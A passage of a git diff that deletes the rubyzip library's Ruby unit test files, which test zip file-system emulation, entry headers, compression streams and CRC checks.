assert(@zipFile.file.stat("dir1").readable?) - end - - def test_readable_real? - assert(! @zipFile.file.readable_real?("noSuchFile")) - assert(@zipFile.file.readable_real?("file1")) - assert(@zipFile.file.readable_real?("dir1")) - assert(@zipFile.file.stat("file1").readable_real?) - assert(@zipFile.file.stat("dir1").readable_real?) - end - - def test_writable? - assert(! @zipFile.file.writable?("noSuchFile")) - assert(@zipFile.file.writable?("file1")) - assert(@zipFile.file.writable?("dir1")) - assert(@zipFile.file.stat("file1").writable?) - assert(@zipFile.file.stat("dir1").writable?) - end - - def test_writable_real? - assert(! @zipFile.file.writable_real?("noSuchFile")) - assert(@zipFile.file.writable_real?("file1")) - assert(@zipFile.file.writable_real?("dir1")) - assert(@zipFile.file.stat("file1").writable_real?) - assert(@zipFile.file.stat("dir1").writable_real?) - end - - def test_executable? - assert(! @zipFile.file.executable?("noSuchFile")) - assert(! @zipFile.file.executable?("file1")) - assert(@zipFile.file.executable?("dir1")) - assert(! @zipFile.file.stat("file1").executable?) - assert(@zipFile.file.stat("dir1").executable?) - end - - def test_executable_real? - assert(! @zipFile.file.executable_real?("noSuchFile")) - assert(! @zipFile.file.executable_real?("file1")) - assert(@zipFile.file.executable_real?("dir1")) - assert(! @zipFile.file.stat("file1").executable_real?) - assert(@zipFile.file.stat("dir1").executable_real?) - end - - def test_owned? - assert_true_if_entry_exists(:owned?) - end - - def test_grpowned? - assert_true_if_entry_exists(:grpowned?) - end - - def test_setgid? - assert_always_false(:setgid?) - end - - def test_setuid? - assert_always_false(:setgid?) - end - - def test_sticky? - assert_always_false(:sticky?) - end - - def test_readlink - assert_raise(NotImplementedError) { - @zipFile.file.readlink("someString") - } - end - - def test_stat - s = @zipFile.file.stat("file1") - assert(s.kind_of?(File::Stat)) # It pretends - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.stat("noSuchFile") - } - end - - def test_lstat - assert(@zipFile.file.lstat("file1").file?) - end - - - def test_chmod - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.chmod(0644, "file1", "NoSuchFile") - } - assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1")) - end - - def test_pipe - assert_raise(NotImplementedError) { - @zipFile.file.pipe - } - end - - def test_foreach - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt", " ") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt", " ") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - end - - def test_popen - if RUBY_PLATFORM =~ /mswin|mingw/i - cmd = 'dir' - else - cmd = 'ls' - end - - assert_equal(File.popen(cmd) { |f| f.read }, - @zipFile.file.popen(cmd) { |f| f.read }) - end - -# Can be added later -# def test_select -# fail "implement test" -# end - - def test_readlines - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.readlines("data/file1.txt"), - zf.file.readlines("data/file1.txt")) - } - end - - def test_read - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.read("data/file1.txt"), - zf.file.read("data/file1.txt")) - } - end - -end - -class ZipFsFileStatTest < Test::Unit::TestCase - - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_blocks - assert_equal(nil, @zipFile.file.stat("file1").blocks) - end - - def test_ino - assert_equal(0, @zipFile.file.stat("file1").ino) - end - - def test_uid - assert_equal(0, @zipFile.file.stat("file1").uid) - end - - def test_gid - assert_equal(0, @zipFile.file.stat("file1").gid) - end - - def test_ftype - assert_equal("file", @zipFile.file.stat("file1").ftype) - assert_equal("directory", @zipFile.file.stat("dir1").ftype) - end - - def test_mode - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - end - - def test_dev - assert_equal(0, @zipFile.file.stat("file1").dev) - end - - def test_rdev - assert_equal(0, @zipFile.file.stat("file1").rdev) - end - - def test_rdev_major - assert_equal(0, @zipFile.file.stat("file1").rdev_major) - end - - def test_rdev_minor - assert_equal(0, @zipFile.file.stat("file1").rdev_minor) - end - - def test_nlink - assert_equal(1, @zipFile.file.stat("file1").nlink) - end - - def test_blksize - assert_nil(@zipFile.file.stat("file1").blksize) - end - -end - -class ZipFsFileMutatingTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def teardown - end - - def test_delete - do_test_delete_or_unlink(:delete) - end - - def test_unlink - do_test_delete_or_unlink(:unlink) - end - - def test_open_write - ZipFile.open(TEST_ZIP) { - |zf| - - zf.file.open("test_open_write_entry", "w") { - |f| - blockCalled = true - f.write "This is what I'm writing" - } - assert_equal("This is what I'm writing", - zf.file.read("test_open_write_entry")) - - # Test with existing entry - zf.file.open("file1", "wb") { #also check that 'b' option is ignored - |f| - blockCalled = true - f.write "This is what I'm writing too" - } - assert_equal("This is what I'm writing too", - zf.file.read("file1")) - } - end - - def test_rename - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "") { - zf.file.rename("NoSuchFile", "bimse") - } - zf.file.rename("file1", "newNameForFile1") - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("file1")) - assert(zf.file.exists?("newNameForFile1")) - } - end - - def do_test_delete_or_unlink(symbol) - ZipFile.open(TEST_ZIP) { - |zf| - assert(zf.file.exists?("dir2/dir21/dir221/file2221")) - zf.file.send(symbol, "dir2/dir21/dir221/file2221") - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - - assert(zf.file.exists?("dir1/file11")) - assert(zf.file.exists?("dir1/file12")) - zf.file.send(symbol, "dir1/file11", "dir1/file12") - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert(zf.file.exists?("dir1/dir11")) - assert(zf.file.exists?("dir1/dir11/")) - } - end - -end - -class ZipFsDirectoryTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def test_delete - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { - zf.dir.delete("NoSuchFile.txt") - } - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.delete("file1") - } - assert(zf.file.exists?("dir1")) - zf.dir.delete("dir1") - assert(! zf.file.exists?("dir1")) - } - end - - def test_mkdir - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("file1") - } - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("dir1") - } - assert(!zf.file.exists?("newDir")) - zf.dir.mkdir("newDir") - assert(zf.file.directory?("newDir")) - assert(!zf.file.exists?("newDir2")) - zf.dir.mkdir("newDir2", 3485) - assert(zf.file.directory?("newDir2")) - } - end - - def test_pwd_chdir_entries - ZipFile.open(TEST_ZIP) { - |zf| - assert_equal("/", zf.dir.pwd) - - assert_raise(Errno::ENOENT, "No such file or directory - no such dir") { - zf.dir.chdir "no such dir" - } - - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.chdir "file1" - } - - assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.dir.pwd) - assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort) - - zf.dir.chdir "../dir2/dir21" - assert_equal("/dir2/dir21", zf.dir.pwd) - assert_equal(["dir221"].sort, zf.dir.entries(".").sort) - } - end - - def test_foreach - ZipFile.open(TEST_ZIP) { - |zf| - - blockCalled = false - assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") { - zf.dir.foreach("noSuchDir") { |e| blockCalled = true } - } - assert(! blockCalled) - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.foreach("file1") { |e| blockCalled = true } - } - assert(! blockCalled) - - entries = [] - zf.dir.foreach(".") { |e| entries << e } - assert_equal(["dir1", "dir2", "file1"].sort, entries.sort) - - entries = [] - zf.dir.foreach("dir1") { |e| entries << e } - assert_equal(["dir11", "file11", "file12"], entries.sort) - } - end - - def test_chroot - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(NotImplementedError) { - zf.dir.chroot - } - } - end - - # Globbing not supported yet - #def test_glob - # # test alias []-operator too - # fail "implement test" - #end - - def test_open_new - ZipFile.open(TEST_ZIP) { - |zf| - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.new("file1") - } - - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - zf.dir.new("noSuchFile") - } - - d = zf.dir.new(".") - assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort) - d.close - - zf.dir.open("dir1") { - |dir| - assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort) - } - } - end - -end - -class ZipFsDirIteratorTest < Test::Unit::TestCase - - FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] - - def setup - @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY) - end - - def test_close - @dirIt.close - assert_raise(IOError, "closed directory") { - @dirIt.each { |e| p e } - } - assert_raise(IOError, "closed directory") { - @dirIt.read - } - assert_raise(IOError, "closed directory") { - @dirIt.rewind - } - assert_raise(IOError, "closed directory") { - @dirIt.seek(0) - } - assert_raise(IOError, "closed directory") { - @dirIt.tell - } - - end - - def test_each - # Tested through Enumerable.entries - assert_equal(FILENAME_ARRAY, @dirIt.entries) - end - - def test_read - FILENAME_ARRAY.size.times { - |i| - assert_equal(FILENAME_ARRAY[i], @dirIt.read) - } - end - - def test_rewind - @dirIt.read - @dirIt.read - assert_equal(FILENAME_ARRAY[2], @dirIt.read) - @dirIt.rewind - assert_equal(FILENAME_ARRAY[0], @dirIt.read) - end - - def test_tell_seek - @dirIt.read - @dirIt.read - pos = @dirIt.tell - valAtPos = @dirIt.read - @dirIt.read - @dirIt.seek(pos) - assert_equal(valAtPos, @dirIt.read) - end - -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziprequiretest.rb b/lib/zip/test/ziprequiretest.rb deleted file mode 100755 index 68d2c714ed..0000000000 --- a/lib/zip/test/ziprequiretest.rb +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ziprequire' - -$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - -class ZipRequireTest < Test::Unit::TestCase - def test_require - assert(require('data/notzippedruby')) - assert(!require('data/notzippedruby')) - - assert(require('zippedruby1')) - assert(!require('zippedruby1')) - - assert(require('zippedruby2')) - assert(!require('zippedruby2')) - - assert(require('zippedruby3')) - assert(!require('zippedruby3')) - - c1 = NotZippedRuby.new - assert(c1.returnTrue) - assert(ZippedRuby1.returnTrue) - assert(!ZippedRuby2.returnFalse) - assert_equal(4, ZippedRuby3.multiplyValues(2, 2)) - end - - def test_get_resource - get_resource("aResource.txt") { - |f| - assert_equal("Nothing exciting in this file!", f.read) - } - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziptest.rb b/lib/zip/test/ziptest.rb deleted file mode 100755 index aa07ffe848..0000000000 --- a/lib/zip/test/ziptest.rb +++ /dev/null @@ -1,1623 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'fileutils' -require 'zip/zip' -require 'gentestfiles' - -include Zip - - -class ZipEntryTest < Test::Unit::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equal(TEST_COMMENT, entry.comment) - assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size) - assert_equal(TEST_CRC, entry.crc) - assert_instance_of(Zip::ZipExtraField, entry.extra) - assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method) - assert_equal(TEST_NAME, entry.name) - assert_equal(TEST_SIZE, entry.size) - assert_equal(TEST_ISDIRECTORY, entry.is_directory) - end - - def test_is_directoryAndIsFile - assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equal(entry1, entry1) - assert_equal(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end - - def test_compare - assert_equal(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) - - entries = [ - ZipEntry.new("zf.zip", "5"), - ZipEntry.new("zf.zip", "1"), - ZipEntry.new("zf.zip", "3"), - ZipEntry.new("zf.zip", "4"), - ZipEntry.new("zf.zip", "0"), - ZipEntry.new("zf.zip", "2") - ] - - entries.sort! - assert_equal("0", entries[0].to_s) - assert_equal("1", entries[1].to_s) - assert_equal("2", entries[2].to_s) - assert_equal("3", entries[3].to_s) - assert_equal("4", entries[4].to_s) - assert_equal("5", entries[5].to_s) - end - - def test_parentAsString - entry1 = ZipEntry.new("zf.zip", "aa") - entry2 = ZipEntry.new("zf.zip", "aa/") - entry3 = ZipEntry.new("zf.zip", "aa/bb") - entry4 = ZipEntry.new("zf.zip", "aa/bb/") - entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") - entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - - assert_equal(nil, entry1.parent_as_string) - assert_equal(nil, entry2.parent_as_string) - assert_equal("aa/", entry3.parent_as_string) - assert_equal("aa/", entry4.parent_as_string) - assert_equal("aa/bb/", entry5.parent_as_string) - assert_equal("aa/bb/", entry6.parent_as_string) - end - - def test_entry_name_cannot_start_with_slash - assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < Test::Unit::TestCase - def test_read_local_entryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressed_size) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) - assert(! entry.is_directory) - } - end - - def test_readDateTime - File.open("data/rubycode.zip", "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - assert_equal("zippedruby1.rb", entry.name) - assert_equal(Time.at(1019261638), entry.time) - } - end - - def test_read_local_entryFromNonZipFile - File.open("data/file2.txt") { - |file| - assert_equal(nil, ZipEntry.read_local_entry(file)) - } - end - - def test_read_local_entryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.read_local_entry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") - compare_local_entry_headers(entry, entryReadLocal) - compare_c_dir_entry_headers(entry, entryReadCentral) - end - - private - def compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.compressed_size , entry2.compressed_size) - assert_equal(entry1.crc , entry2.crc) - assert_equal(entry1.extra , entry2.extra) - assert_equal(entry1.compression_method, entry2.compression_method) - assert_equal(entry1.name , entry2.name) - assert_equal(entry1.size , entry2.size) - assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compare_c_dir_entry_headers(entry1, entry2) - compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.comment, entry2.comment) - end - - def write_to_file(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } - File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } - end - - def read_from_file(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText, @refLines and @decompressor - - TEST_FILE="data/file1.txt" - - def setup - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @refLines = @refText.split($/) - end - - def test_readEverything - assert_equal(@refText, @decompressor.sysread) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.sysread(chunkSize)) - assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equal(0, @refText.size) - end - - def test_mixingReadsAndProduceInput - # Just some preconditions to make sure we have enough data for this test - assert(@refText.length > 1000) - assert(@refLines.length > 40) - - - assert_equal(@refText[0...100], @decompressor.sysread(100)) - - assert(! @decompressor.input_finished?) - buf = @decompressor.produce_input - assert_equal(@refText[100...(100+buf.length)], buf) - end -end - -class InflaterTest < Test::Unit::TestCase - include DecompressorTests - - def setup - super - @file = File.new("data/file1.txt.deflatedData", "rb") - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < Test::Unit::TestCase - include DecompressorTests - def setup - super - @file = File.new(TEST_FILE) - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assert_next_entry(filename, zis) - assert_entry(filename, zis, zis.get_next_entry.name) - end - - def assert_entry(filename, zis, entryName) - assert_equal(filename, entryName) - assert_entryContentsForStream(filename, zis, entryName) - end - - def assert_entryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if ((expected && actual) && (expected.length > 400 || actual.length > 400)) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |f| f << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equal(expected, actual) - end - end - } - end - - def AssertEntry.assert_contents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (fileContents.length > 400 || aString.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equal(fileContents, aString) - end - end - end - - def assert_stream_contents(zis, testZipFile) - assert(zis != nil) - testZipFile.entry_names.each { - |entryName| - assert_next_entry(entryName, zis) - } - assert_equal(nil, zis.get_next_entry) - end - - def assert_test_zip_contents(testZipFile) - ZipInputStream.open(testZipFile.zip_name) { - |zis| - assert_stream_contents(zis, testZipFile) - } - end - - def assert_entryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.get_input_stream(entryName) - assert_entryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < Test::Unit::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - entry = zis.get_next_entry # longAscii.txt - assert_equal(false, zis.eof?) - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) - assert zis.gets.length > 0 - assert_equal(false, zis.eof?) - entry = zis.get_next_entry # empty.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # empty_chmod640.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # short.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry # longBinary.bin - assert_equal(TestZipFile::TEST_ZIP2.entry_names[4], entry.name) - assert zis.gets.length > 0 - } - end - - def test_rewind - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) - - # Do a little reading - buf = "" - buf << zis.read(100) - buf << (zis.gets || "") - buf << (zis.gets || "") - assert_equal(false, zis.eof?) - - zis.rewind - - buf2 = "" - buf2 << zis.read(100) - buf2 << (zis.gets || "") - buf2 << (zis.gets || "") - - assert_equal(buf, buf2) - - zis.rewind - assert_equal(false, zis.eof?) - - assert_entry(e.name, zis, e.name) - } - end - - def test_mix_read_and_gets - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal("#!/usr/bin/env ruby", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("$VERBOSE =", zis.read(10)) - assert_equal(false, zis.eof?) - } - end - -end - - -module CrcTest - - class TestOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def run_crc_test(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equal(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < Test::Unit::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equal(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equal(compressor.size, t1.size) - - compressor << t2 - assert_equal(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equal(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - run_crc_test(PassThruCompressor) - end -end - -class DeflaterTest < Test::Unit::TestCase - include CrcTest - - def test_outputOperator - txt = load_file("data/file2.txt") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equal(txt, inflatedTxt) - end - - private - def load_file(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equal(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.sysread - } - end - - def test_crc - run_crc_test(Deflater) - end -end - -class ZipOutputStreamTest < Test::Unit::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zip_name) - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - zos.close - assert_test_zip_contents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zip_name) { - |zos| - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - } - assert_test_zip_contents(TEST_ZIP) - end - - def test_writingToClosedStream - assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") - end - end - - def test_put_next_entry - stored_text = "hello world in stored text" - entry_name = "file1" - comment = "my comment" - ZipOutputStream.open(TEST_ZIP.zip_name) do - |zos| - zos.put_next_entry(entry_name, comment, nil, ZipEntry::STORED) - zos << stored_text - end - - fdata = File.read(TEST_ZIP.zip_name) - if fdata.respond_to? :force_encoding - fdata.force_encoding("binary") - end - assert(fdata.split("\n").grep(stored_text)) - ZipFile.open(TEST_ZIP.zip_name) do - |zf| - assert_equal(stored_text, zf.read(entry_name)) - end - end - - def assert_i_o_error_in_closed_stream - assert_raise(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def write_test_zip(zos) - TEST_ZIP.entry_names.each { - |entryName| - zos.put_next_entry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compare_enumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, i| - return false unless yield(element, otherAsArray[i]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open("data/testDirectory.bin", "rb") { - |file| - entry = ZipEntry.read_c_dir_entry(file) - - assert_equal("longAscii.txt", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(106490, entry.size) - assert_equal(3784, entry.compressed_size) - assert_equal(0xfcd1799c, 